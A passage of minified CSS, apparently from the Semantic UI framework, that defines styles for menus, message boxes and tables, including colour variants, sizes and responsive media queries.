.item:hover{background-color:transparent!important}.ui.fluid.text.menu{margin-left:0;margin-right:0}.ui.vertical.icon.menu{display:inline-block;width:auto}.ui.icon.menu .item{height:auto;text-align:center;color:#1B1C1D}.ui.icon.menu .item>.icon:not(.dropdown){margin:0;opacity:1}.ui.icon.menu .icon:before{opacity:1}.ui.menu .icon.item>.icon{width:auto;margin:0 auto}.ui.vertical.icon.menu .item>.icon:not(.dropdown){display:block;opacity:1;margin:0 auto;float:none}.ui.inverted.icon.menu .item{color:#FFF}.ui.labeled.icon.menu{text-align:center}.ui.labeled.icon.menu .item{min-width:6em;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui.labeled.icon.menu .item>.icon:not(.dropdown){height:1em;display:block;font-size:1.71428571em!important;margin:0 auto .5rem!important}.ui.fluid.labeled.icon.menu>.item{min-width:0}@media only screen and (max-width:767px){.ui.stackable.menu{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui.stackable.menu .item{width:100%!important}.ui.stackable.menu .item:before{position:absolute;content:'';top:auto;bottom:0;left:0;width:100%;height:1px;background:rgba(34,36,38,.1)}.ui.stackable.menu .left.item,.ui.stackable.menu .left.menu{margin-right:0!important}.ui.stackable.menu .right.item,.ui.stackable.menu .right.menu{margin-left:0!important}}.ui.menu .red.active.item,.ui.red.menu .active.item{border-color:#DB2828!important;color:#DB2828!important}.ui.menu .orange.active.item,.ui.orange.menu .active.item{border-color:#F2711C!important;color:#F2711C!important}.ui.menu .yellow.active.item,.ui.yellow.menu .active.item{border-color:#FBBD08!important;color:#FBBD08!important}.ui.menu .olive.active.item,.ui.olive.menu .active.item{border-color:#B5CC18!important;color:#B5CC18!important}.ui.green.menu .active.item,.ui.menu .green.active.item{border-color:#21BA45!important;color:#21BA45!important}.ui.menu .teal.active.item,.ui.teal.menu .active.item{border-color:#00B5AD!important;color:#00B5AD!important}.ui.blue.menu .active.item,.ui.menu .blue.active.item{border-color:#2185D0!important;color:#2185D0!important}.ui.menu .violet.active.item,.ui.violet.menu .active.item{border-color:#6435C9!important;color:#6435C9!important}.ui.menu .purple.active.item,.ui.purple.menu .active.item{border-color:#A333C8!important;color:#A333C8!important}.ui.menu .pink.active.item,.ui.pink.menu .active.item{border-color:#E03997!important;color:#E03997!important}.ui.brown.menu .active.item,.ui.menu .brown.active.item{border-color:#A5673F!important;color:#A5673F!important}.ui.grey.menu .active.item,.ui.menu .grey.active.item{border-color:#767676!important;color:#767676!important}.ui.inverted.menu{border:0 solid transparent;background:#1B1C1D;box-shadow:none}.ui.inverted.menu .item,.ui.inverted.menu .item>a:not(.ui){background:0 0;color:rgba(255,255,255,.9)}.ui.inverted.menu .item.menu{background:0 0}.ui.inverted.menu .item:before,.ui.vertical.inverted.menu .item:before{background:rgba(255,255,255,.08)}.ui.vertical.inverted.menu .menu .item,.ui.vertical.inverted.menu .menu .item a:not(.ui){color:rgba(255,255,255,.5)}.ui.inverted.menu .header.item{margin:0;background:0 0;box-shadow:none}.ui.inverted.menu .item.disabled,.ui.inverted.menu .item.disabled:hover{color:rgba(225,225,225,.3)}.ui.inverted.menu .dropdown.item:hover,.ui.inverted.menu .link.item:hover,.ui.inverted.menu a.item:hover,.ui.link.inverted.menu .item:hover{background:rgba(255,255,255,.08);color:#fff}.ui.vertical.inverted.menu .item .menu .link.item:hover,.ui.vertical.inverted.menu .item .menu a.item:hover{background:0 0;color:#fff}.ui.inverted.menu .link.item:active,.ui.inverted.menu a.item:active{background:rgba(255,255,255,.08);color:#fff}.ui.inverted.menu .active.item{background:rgba(255,255,255,.15);color:#fff!important}.ui.inverted.vertical.menu .item .menu .active.item{background:0 0;color:#FFF}.ui.inverted.pointing.menu .active.item:after{background:#3D3E3F!important;margin:0!important;box-shadow:none!important;border:none!important}.ui.inverted.menu .active.item:hover{background:rgba(255,255,255,.15);color:#FFF!important}.ui.inverted.pointing.menu .active.item:hover:after{background:#3D3E3F!important}.ui.floated.menu{float:left;margin:0 .5rem 0 0}.ui.floated.menu .item:last-child:before{display:none}.ui.right.floated.menu{float:right;margin:0 0 0 .5rem}.ui.inverted.menu .red.active.item,.ui.inverted.red.menu{background-color:#DB2828}.ui.inverted.red.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.red.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .orange.active.item,.ui.inverted.orange.menu{background-color:#F2711C}.ui.inverted.orange.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.orange.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .yellow.active.item,.ui.inverted.yellow.menu{background-color:#FBBD08}.ui.inverted.yellow.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.yellow.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .olive.active.item,.ui.inverted.olive.menu{background-color:#B5CC18}.ui.inverted.olive.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.olive.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.green.menu,.ui.inverted.menu .green.active.item{background-color:#21BA45}.ui.inverted.green.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.green.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .teal.active.item,.ui.inverted.teal.menu{background-color:#00B5AD}.ui.inverted.teal.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.teal.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.blue.menu,.ui.inverted.menu .blue.active.item{background-color:#2185D0}.ui.inverted.blue.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.blue.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .violet.active.item,.ui.inverted.violet.menu{background-color:#6435C9}.ui.inverted.violet.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.violet.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .purple.active.item,.ui.inverted.purple.menu{background-color:#A333C8}.ui.inverted.purple.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.purple.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .pink.active.item,.ui.inverted.pink.menu{background-color:#E03997}.ui.inverted.pink.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.pink.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.brown.menu,.ui.inverted.menu .brown.active.item{background-color:#A5673F}.ui.inverted.brown.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.brown.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.grey.menu,.ui.inverted.menu .grey.active.item{background-color:#767676}.ui.inverted.grey.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.grey.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.fitted.menu .item,.ui.fitted.menu .item .menu .item,.ui.menu .fitted.item{padding:0}.ui.horizontally.fitted.menu .item,.ui.horizontally.fitted.menu .item .menu .item,.ui.menu .horizontally.fitted.item{padding-top:.92857143em;padding-bottom:.92857143em}.ui.menu .vertically.fitted.item,.ui.vertically.fitted.menu .item,.ui.vertically.fitted.menu .item .menu .item{padding-left:1.14285714em;padding-right:1.14285714em}.ui.borderless.menu .item .menu .item:before,.ui.borderless.menu .item:before,.ui.menu .borderless.item:before{background:0 0!important}.ui.compact.menu{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;margin:0;vertical-align:middle}.ui.compact.vertical.menu{display:inline-block;width:auto!important}.ui.compact.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.compact.menu .item:last-child:before{display:none}.ui.compact.vertical.menu .item:last-child::before{display:block}.ui.menu.fluid,.ui.vertical.menu.fluid{width:100%!important}.ui.item.menu,.ui.item.menu .item{width:100%;padding-left:0!important;padding-right:0!important;margin-left:0!important;margin-right:0!important;text-align:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ui.item.menu .item:last-child:before{display:none}.ui.menu.two.item .item{width:50%}.ui.menu.three.item .item{width:33.333%}.ui.menu.four.item .item{width:25%}.ui.menu.five.item .item{width:20%}.ui.menu.six.item .item{width:16.666%}.ui.menu.seven.item .item{width:14.285%}.ui.menu.eight.item .item{width:12.5%}.ui.menu.nine.item .item{width:11.11%}.ui.menu.ten.item .item{width:10%}.ui.menu.eleven.item .item{width:9.09%}.ui.menu.twelve.item .item{width:8.333%}.ui.menu.fixed{position:fixed;z-index:101;margin:0;width:100%}.ui.menu.fixed,.ui.menu.fixed .item:first-child,.ui.menu.fixed .item:last-child{border-radius:0!important}.ui.fixed.menu,.ui[class*="top fixed"].menu{top:0;left:0;right:auto;bottom:auto}.ui[class*="top fixed"].menu{border-top:none;border-left:none;border-right:none}.ui[class*="right fixed"].menu{border-top:none;border-bottom:none;border-right:none;top:0;right:0;left:auto;bottom:auto;width:auto;height:100%}.ui[class*="bottom fixed"].menu{border-bottom:none;border-left:none;border-right:none;bottom:0;left:0;top:auto;right:auto}.ui[class*="left fixed"].menu{border-top:none;border-bottom:none;border-left:none;top:0;left:0;right:auto;bottom:auto;width:auto;height:100%}.ui.fixed.menu+.ui.grid{padding-top:2.75rem}.ui.pointing.menu .item:after{visibility:hidden;position:absolute;content:'';top:100%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);-ms-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);background:0 0;margin:.5px 0 0;width:.57142857em;height:.57142857em;border:none;border-bottom:1px solid #D4D4D5;border-right:1px solid #D4D4D5;z-index:2;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.vertical.pointing.menu .item:after{position:absolute;top:50%;right:0;bottom:auto;left:auto;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);-ms-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);margin:0 -.5px 0 0;border:none;border-top:1px solid #D4D4D5;border-right:1px solid #D4D4D5}.ui.pointing.menu .active.item:after{visibility:visible}.ui.pointing.menu .active.dropdown.item:after{visibility:hidden}.ui.pointing.menu .active.item .menu .active.item:after,.ui.pointing.menu .dropdown.active.item:after{display:none}.ui.pointing.menu .active.item:after,.ui.pointing.menu .active.item:hover:after,.ui.vertical.pointing.menu .active.item:after,.ui.vertical.pointing.menu .active.item:hover:after{background-color:#F2F2F2}.ui.vertical.pointing.menu .menu .active.item:after{background-color:#FFF}.ui.attached.menu{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);box-shadow:none}.ui.attached+.ui.attached.menu:not(.top){border-top:none}.ui[class*="top attached"].menu{bottom:0;margin-bottom:0;top:0;margin-top:1rem;border-radius:.28571429rem .28571429rem 0 0}.ui.menu[class*="top attached"]:first-child{margin-top:0}.ui[class*="bottom attached"].menu{bottom:0;margin-top:0;top:0;margin-bottom:1rem;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].menu:last-child{margin-bottom:0}.ui.top.attached.menu>.item:first-child{border-radius:.28571429rem 0 0}.ui.bottom.attached.menu>.item:first-child{border-radius:0 0 0 .28571429rem}.ui.attached.menu:not(.tabular){border:1px solid #D4D4D5}.ui.attached.inverted.menu{border:none}.ui.attached.tabular.menu{margin-left:0;margin-right:0;width:100%}.ui.mini.menu{font-size:.78571429rem}.ui.mini.vertical.menu{width:9rem}.ui.tiny.menu{font-size:.85714286rem}.ui.tiny.vertical.menu{width:11rem}.ui.small.menu{font-size:.92857143rem}.ui.small.vertical.menu{width:13rem}.ui.menu{font-size:1rem}.ui.vertical.menu{width:15rem}.ui.large.menu{font-size:1.07142857rem}.ui.large.vertical.menu{width:18rem}.ui.huge.menu{font-size:1.14285714rem}.ui.huge.vertical.menu{width:20rem}.ui.big.menu{font-size:1.21428571rem}.ui.big.vertical.menu{width:22rem}.ui.massive.menu{font-size:1.28571429rem}.ui.massive.vertical.menu{width:25rem}.ui.message{position:relative;min-height:1em;margin:1em 0;background:#F8F8F9;padding:1em 1.5em;line-height:1.4285em;color:rgba(0,0,0,.87);-webkit-transition:opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;transition:opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;border-radius:.28571429rem;box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 0 0 0 transparent}.ui.message:first-child{margin-top:0}.ui.message:last-child{margin-bottom:0}.ui.message .header{display:block;font-weight:700;margin:-.14285em 0 0}.ui.message .header:not(.ui){font-size:1.14285714em}.ui.message p{opacity:.85;margin:.75em 0}.ui.message p:first-child{margin-top:0}.ui.message p:last-child{margin-bottom:0}.ui.message .header+p{margin-top:.25em}.ui.message .list:not(.ui){text-align:left;padding:0;opacity:.85;list-style-position:inside;margin:.5em 0 0}.ui.message .list:not(.ui):first-child{margin-top:0}.ui.message .list:not(.ui):last-child{margin-bottom:0}.ui.message .list:not(.ui) li{position:relative;list-style-type:none;margin:0 0 .3em 1em;padding:0}.ui.message .list:not(.ui) li:before{position:absolute;content:'•';left:-1em;height:100%;vertical-align:baseline}.ui.message .list:not(.ui) li:last-child{margin-bottom:0}.ui.message>.icon{margin-right:.6em}.ui.message>.close.icon{cursor:pointer;position:absolute;margin:0;top:.78575em;right:.5em;opacity:.7;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.message>.close.icon:hover{opacity:1}.ui.message>:first-child{margin-top:0}.ui.message>:last-child{margin-bottom:0}.ui.dropdown .menu>.message{margin:0 -1px}.ui.visible.visible.visible.visible.message{display:block}.ui.icon.visible.visible.visible.visible.message{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ui.hidden.hidden.hidden.hidden.message{display:none}.ui.compact.message{display:inline-block}.ui.attached.message{margin-bottom:-1px;border-radius:.28571429rem .28571429rem 0 0;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset;margin-left:-1px;margin-right:-1px}.ui.attached+.ui.attached.message:not(.top):not(.bottom){margin-top:-1px;border-radius:0}.ui.bottom.attached.message{margin-top:-1px;border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset,0 1px 2px 0 rgba(34,36,38,.15)}.ui.bottom.attached.message:not(:last-child){margin-bottom:1em}.ui.attached.icon.message{width:auto}.ui.icon.message{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:100%;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.ui.icon.message>.icon:not(.close){display:block;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;line-height:1;vertical-align:middle;font-size:3em;opacity:.8}.ui.icon.message>.content{display:block;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto;vertical-align:middle}.ui.icon.message .icon:not(.close)+.content{padding-left:0}.ui.icon.message .circular.icon{width:1em}.ui.floating.message{box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.positive.message{background-color:#FCFFF5;color:#2C662D}.ui.attached.positive.message,.ui.positive.message{box-shadow:0 0 0 1px #A3C293 inset,0 0 0 0 transparent}.ui.positive.message .header{color:#1A531B}.ui.negative.message{background-color:#FFF6F6;color:#9F3A38}.ui.attached.negative.message,.ui.negative.message{box-shadow:0 0 0 1px #E0B4B4 inset,0 0 0 0 transparent}.ui.negative.message .header{color:#912D2B}.ui.info.message{background-color:#F8FFFF;color:#276F86}.ui.attached.info.message,.ui.info.message{box-shadow:0 0 0 1px #A9D5DE inset,0 0 0 0 transparent}.ui.info.message .header{color:#0E566C}.ui.warning.message{background-color:#FFFAF3;color:#573A08}.ui.attached.warning.message,.ui.warning.message{box-shadow:0 0 0 1px #C9BA9B inset,0 0 0 0 transparent}.ui.warning.message .header{color:#794B02}.ui.error.message{background-color:#FFF6F6;color:#9F3A38}.ui.attached.error.message,.ui.error.message{box-shadow:0 0 0 1px #E0B4B4 inset,0 0 0 0 transparent}.ui.error.message .header{color:#912D2B}.ui.success.message{background-color:#FCFFF5;color:#2C662D}.ui.attached.success.message,.ui.success.message{box-shadow:0 0 0 1px #A3C293 inset,0 0 0 0 transparent}.ui.success.message .header{color:#1A531B}.ui.black.message,.ui.inverted.message{background-color:#1B1C1D;color:rgba(255,255,255,.9)}.ui.red.message{background-color:#FFE8E6;color:#DB2828;box-shadow:0 0 0 1px #DB2828 inset,0 0 0 0 transparent}.ui.red.message .header{color:#c82121}.ui.orange.message{background-color:#FFEDDE;color:#F2711C;box-shadow:0 0 0 1px #F2711C inset,0 0 0 0 transparent}.ui.orange.message .header{color:#e7640d}.ui.yellow.message{background-color:#FFF8DB;color:#B58105;box-shadow:0 0 0 1px #B58105 inset,0 0 0 0 transparent}.ui.yellow.message .header{color:#9c6f04}.ui.olive.message{background-color:#FBFDEF;color:#8ABC1E;box-shadow:0 0 0 1px #8ABC1E inset,0 0 0 0 transparent}.ui.olive.message .header{color:#7aa61a}.ui.green.message{background-color:#E5F9E7;color:#1EBC30;box-shadow:0 0 0 1px #1EBC30 inset,0 0 0 0 transparent}.ui.green.message .header{color:#1aa62a}.ui.teal.message{background-color:#E1F7F7;color:#10A3A3;box-shadow:0 0 0 1px #10A3A3 inset,0 0 0 0 transparent}.ui.teal.message .header{color:#0e8c8c}.ui.blue.message{background-color:#DFF0FF;color:#2185D0;box-shadow:0 0 0 1px #2185D0 inset,0 0 0 0 transparent}.ui.blue.message .header{color:#1e77ba}.ui.violet.message{background-color:#EAE7FF;color:#6435C9;box-shadow:0 0 0 1px #6435C9 inset,0 0 0 0 transparent}.ui.violet.message .header{color:#5a30b5}.ui.purple.message{background-color:#F6E7FF;color:#A333C8;box-shadow:0 0 0 1px #A333C8 inset,0 0 0 0 transparent}.ui.purple.message .header{color:#922eb4}.ui.pink.message{background-color:#FFE3FB;color:#E03997;box-shadow:0 0 0 1px #E03997 inset,0 0 0 0 transparent}.ui.pink.message .header{color:#dd238b}.ui.brown.message{background-color:#F1E2D3;color:#A5673F;box-shadow:0 0 0 1px #A5673F inset,0 0 0 0 transparent}.ui.brown.message .header{color:#935b38}.ui.mini.message{font-size:.78571429em}.ui.tiny.message{font-size:.85714286em}.ui.small.message{font-size:.92857143em}.ui.message{font-size:1em}.ui.large.message{font-size:1.14285714em}.ui.big.message{font-size:1.28571429em}.ui.huge.message{font-size:1.42857143em}.ui.massive.message{font-size:1.71428571em}.ui.table{width:100%;background:#FFF;margin:1em 0;border:1px solid rgba(34,36,38,.15);box-shadow:none;border-radius:.28571429rem;text-align:left;color:rgba(0,0,0,.87);border-collapse:separate;border-spacing:0}.ui.table:first-child{margin-top:0}.ui.table:last-child{margin-bottom:0}.ui.table td,.ui.table th{-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.table thead{box-shadow:none}.ui.table thead th{cursor:auto;background:#F9FAFB;text-align:inherit;color:rgba(0,0,0,.87);padding:.92857143em .78571429em;vertical-align:inherit;font-style:none;font-weight:700;text-transform:none;border-bottom:1px solid rgba(34,36,38,.1);border-left:none}.ui.table thead tr>th:first-child{border-left:none}.ui.table thead tr:first-child>th:first-child{border-radius:.28571429rem 0 0}.ui.table thead tr:first-child>th:last-child{border-radius:0 .28571429rem 0 0}.ui.table thead tr:first-child>th:only-child{border-radius:.28571429rem .28571429rem 0 0}.ui.table tfoot{box-shadow:none}.ui.table tfoot th{cursor:auto;border-top:1px solid rgba(34,36,38,.15);background:#F9FAFB;text-align:inherit;color:rgba(0,0,0,.87);padding:.78571429em;vertical-align:middle;font-style:normal;font-weight:400;text-transform:none}.ui.table tfoot tr>th:first-child{border-left:none}.ui.table tfoot tr:first-child>th:first-child{border-radius:0 0 0 .28571429rem}.ui.table tfoot tr:first-child>th:last-child{border-radius:0 0 .28571429rem}.ui.table tfoot tr:first-child>th:only-child{border-radius:0 0 .28571429rem .28571429rem}.ui.table tr td{border-top:1px solid rgba(34,36,38,.1)}.ui.table tr:first-child td{border-top:none}.ui.table td{padding:.78571429em;text-align:inherit}.ui.table>.icon{vertical-align:baseline}.ui.table>.icon:only-child{margin:0}.ui.table.segment{padding:0}.ui.table.segment:after{display:none}.ui.table.segment.stacked:after{display:block}@media only screen and (max-width:767px){.ui.table:not(.unstackable){width:100%;padding:0}.ui.table:not(.unstackable) tbody,.ui.table:not(.unstackable) tr,.ui.table:not(.unstackable) tr>td,.ui.table:not(.unstackable) tr>th{width:auto!important;display:block!important}.ui.table:not(.unstackable) tfoot,.ui.table:not(.unstackable) thead{display:block}.ui.table:not(.unstackable) tr{padding-top:1em;padding-bottom:1em;box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important}.ui.table:not(.unstackable) tr>td,.ui.table:not(.unstackable) tr>th{background:0 0;border:none!important;padding:.25em .75em!important;box-shadow:none!important}.ui.table:not(.unstackable) td:first-child,.ui.table:not(.unstackable) th:first-child{font-weight:700}.ui.definition.table:not(.unstackable) thead th:first-child{box-shadow:none!important}}.ui.table td .image,.ui.table td .image img,.ui.table th .image,.ui.table th .image img{max-width:none}.ui.structured.table{border-collapse:collapse}.ui.structured.table thead th{border-left:none;border-right:none}.ui.structured.sortable.table thead th{border-left:1px solid rgba(34,36,38,.15);border-right:1px solid rgba(34,36,38,.15)}.ui.structured.basic.table th{border-left:none;border-right:none}.ui.structured.celled.table tr td,.ui.structured.celled.table tr th{border-left:1px solid rgba(34,36,38,.1);border-right:1px solid rgba(34,36,38,.1)}.ui.definition.table thead:not(.full-width) th:first-child{pointer-events:none;background:0 0;font-weight:400;color:rgba(0,0,0,.4);box-shadow:-1px -1px 0 1px #FFF}.ui.definition.table tfoot:not(.full-width) th:first-child{pointer-events:none;background:0 0;font-weight:rgba(0,0,0,.4);color:normal;box-shadow:1px 1px 0 1px #FFF}.ui.celled.definition.table thead:not(.full-width) th:first-child{box-shadow:0 -1px 0 1px #FFF}.ui.celled.definition.table tfoot:not(.full-width) th:first-child{box-shadow:0 1px 0 1px #FFF}.ui.definition.table tr td.definition,.ui.definition.table tr td:first-child:not(.ignored){background:rgba(0,0,0,.03);font-weight:700;color:rgba(0,0,0,.95);text-transform:'';box-shadow:'';text-align:'';font-size:1em;padding-left:'';padding-right:''}.ui.definition.table td:nth-child(2),.ui.definition.table tfoot:not(.full-width) th:nth-child(2),.ui.definition.table thead:not(.full-width) th:nth-child(2){border-left:1px solid rgba(34,36,38,.15)}.ui.table td.positive,.ui.table tr.positive{box-shadow:0 0 0 #A3C293 inset;background:#FCFFF5!important;color:#2C662D!important}.ui.table td.negative,.ui.table tr.negative{box-shadow:0 0 0 #E0B4B4 inset;background:#FFF6F6!important;color:#9F3A38!important}.ui.table td.error,.ui.table tr.error{box-shadow:0 0 0 #E0B4B4 inset;background:#FFF6F6!important;color:#9F3A38!important}.ui.table td.warning,.ui.table tr.warning{box-shadow:0 0 0 #C9BA9B inset;background:#FFFAF3!important;color:#573A08!important}.ui.table td.active,.ui.table tr.active{box-shadow:0 0 0 rgba(0,0,0,.87) inset;background:#E0E0E0!important;color:rgba(0,0,0,.87)!important}.ui.table tr td.disabled,.ui.table tr.disabled td,.ui.table tr.disabled:hover,.ui.table tr:hover td.disabled{pointer-events:none;color:rgba(40,40,40,.3)}@media only screen and (max-width:991px){.ui[class*="tablet stackable"].table,.ui[class*="tablet stackable"].table tbody,.ui[class*="tablet stackable"].table tr,.ui[class*="tablet stackable"].table tr>td,.ui[class*="tablet stackable"].table tr>th{width:100%!important;display:block!important}.ui[class*="tablet stackable"].table{padding:0}.ui[class*="tablet stackable"].table tfoot,.ui[class*="tablet stackable"].table thead{display:block}.ui[class*="tablet stackable"].table tr{padding-top:1em;padding-bottom:1em;box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important}.ui[class*="tablet stackable"].table tr>td,.ui[class*="tablet stackable"].table tr>th{background:0 0;border:none!important;padding:.25em .75em;box-shadow:none!important}.ui.definition[class*="tablet stackable"].table thead th:first-child{box-shadow:none!important}}.ui.table [class*="left aligned"],.ui.table[class*="left aligned"]{text-align:left}.ui.table [class*="center aligned"],.ui.table[class*="center aligned"]{text-align:center}.ui.table [class*="right aligned"],.ui.table[class*="right aligned"]{text-align:right}.ui.table [class*="top aligned"],.ui.table[class*="top aligned"]{vertical-align:top}.ui.table [class*="middle aligned"],.ui.table[class*="middle aligned"]{vertical-align:middle}.ui.table [class*="bottom aligned"],.ui.table[class*="bottom aligned"]{vertical-align:bottom}.ui.table td.collapsing,.ui.table th.collapsing{width:1px;white-space:nowrap}.ui.fixed.table{table-layout:fixed}.ui.fixed.table td,.ui.fixed.table th{overflow:hidden;text-overflow:ellipsis}.ui.selectable.table tbody tr:hover,.ui.table tbody tr td.selectable:hover{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.inverted.table tbody tr td.selectable:hover,.ui.selectable.inverted.table tbody tr:hover{background:rgba(255,255,255,.08)!important;color:#fff!important}.ui.table tbody tr td.selectable{padding:0}.ui.table tbody tr td.selectable>a:not(.ui){display:block;color:inherit;padding:.78571429em}.ui.selectable.table tr.error:hover,.ui.selectable.table tr:hover td.error,.ui.table tr td.selectable.error:hover{background:#ffe7e7!important;color:#943634!important}.ui.selectable.table tr.warning:hover,.ui.selectable.table tr:hover td.warning,.ui.table tr td.selectable.warning:hover{background:#fff4e4!important;color:#493107!important}.ui.selectable.table tr.active:hover,.ui.selectable.table tr:hover td.active,.ui.table tr td.selectable.active:hover{background:#E0E0E0!important;color:rgba(0,0,0,.87)!important}.ui.selectable.table tr.positive:hover,.ui.selectable.table tr:hover td.positive,.ui.table tr td.selectable.positive:hover{background:#f7ffe6!important;color:#275b28!important}.ui.selectable.table tr.negative:hover,.ui.selectable.table tr:hover td.negative,.ui.table tr td.selectable.negative:hover{background:#ffe7e7!important;color:#943634!important}.ui.attached.table{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);box-shadow:none;border:1px solid #D4D4D5}.ui.attached+.ui.attached.table:not(.top){border-top:none}.ui[class*="top attached"].table{bottom:0;margin-bottom:0;top:0;margin-top:1em;border-radius:.28571429rem .28571429rem 0 0}.ui.table[class*="top attached"]:first-child{margin-top:0}.ui[class*="bottom attached"].table{bottom:0;margin-top:0;top:0;margin-bottom:1em;box-shadow:none,none;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].table:last-child{margin-bottom:0}.ui.striped.table tbody tr:nth-child(2n),.ui.striped.table>tr:nth-child(2n){background-color:rgba(0,0,50,.02)}.ui.inverted.striped.table tbody tr:nth-child(2n),.ui.inverted.striped.table>tr:nth-child(2n){background-color:rgba(255,255,255,.05)}.ui.striped.selectable.selectable.selectable.table tbody tr.active:hover{background:#EFEFEF!important;color:rgba(0,0,0,.95)!important}.ui.table [class*="single line"],.ui.table[class*="single line"]{white-space:nowrap}.ui.red.table{border-top:.2em solid #DB2828}.ui.inverted.red.table{background-color:#DB2828!important;color:#FFF!important}.ui.orange.table{border-top:.2em solid #F2711C}.ui.inverted.orange.table{background-color:#F2711C!important;color:#FFF!important}.ui.yellow.table{border-top:.2em solid #FBBD08}.ui.inverted.yellow.table{background-color:#FBBD08!important;color:#FFF!important}.ui.olive.table{border-top:.2em solid #B5CC18}.ui.inverted.olive.table{background-color:#B5CC18!important;color:#FFF!important}.ui.green.table{border-top:.2em solid #21BA45}.ui.inverted.green.table{background-color:#21BA45!important;color:#FFF!important}.ui.teal.table{border-top:.2em solid #00B5AD}.ui.inverted.teal.table{background-color:#00B5AD!important;color:#FFF!important}.ui.blue.table{border-top:.2em solid #2185D0}.ui.inverted.blue.table{background-color:#2185D0!important;color:#FFF!important}.ui.violet.table{border-top:.2em solid #6435C9}.ui.inverted.violet.table{background-color:#6435C9!important;color:#FFF!important}.ui.purple.table{border-top:.2em solid #A333C8}.ui.inverted.purple.table{background-color:#A333C8!important;color:#FFF!important}.ui.pink.table{border-top:.2em solid #E03997}.ui.inverted.pink.table{background-color:#E03997!important;color:#FFF!important}.ui.brown.table{border-top:.2em solid #A5673F}.ui.inverted.brown.table{background-color:#A5673F!important;color:#FFF!important}.ui.grey.table{border-top:.2em solid #767676}.ui.inverted.grey.table{background-color:#767676!important;color:#FFF!important}.ui.black.table{border-top:.2em solid #1B1C1D}.ui.inverted.black.table{background-color:#1B1C1D!important;color:#FFF!important}.ui.one.column.table td{width:100%}.ui.two.column.table td{width:50%}.ui.three.column.table td{width:33.33333333%}.ui.four.column.table td{width:25%}.ui.five.column.table td{width:20%}.ui.six.column.table td{width:16.66666667%}.ui.seven.column.table td{width:14.28571429%}.ui.eight.column.table td{width:12.5%}.ui.nine.column.table td{width:11.11111111%}.ui.ten.column.table td{width:10%}.ui.eleven.column.table td{width:9.09090909%}.ui.twelve.column.table td{width:8.33333333%}.ui.thirteen.column.table td{width:7.69230769%}.ui.fourteen.column.table td{width:7.14285714%}.ui.fifteen.column.table td{width:6.66666667%}.ui.sixteen.column.table td,.ui.table td.one.wide,.ui.table th.one.wide{width:6.25%}.ui.table td.two.wide,.ui.table th.two.wide{width:12.5%}.ui.table td.three.wide,.ui.table th.three.wide{width:18.75%}.ui.table td.four.wide,.ui.table th.four.wide{width:25%}.ui.table td.five.wide,.ui.table th.five.wide{width:31.25%}.ui.table td.six.wide,.ui.table 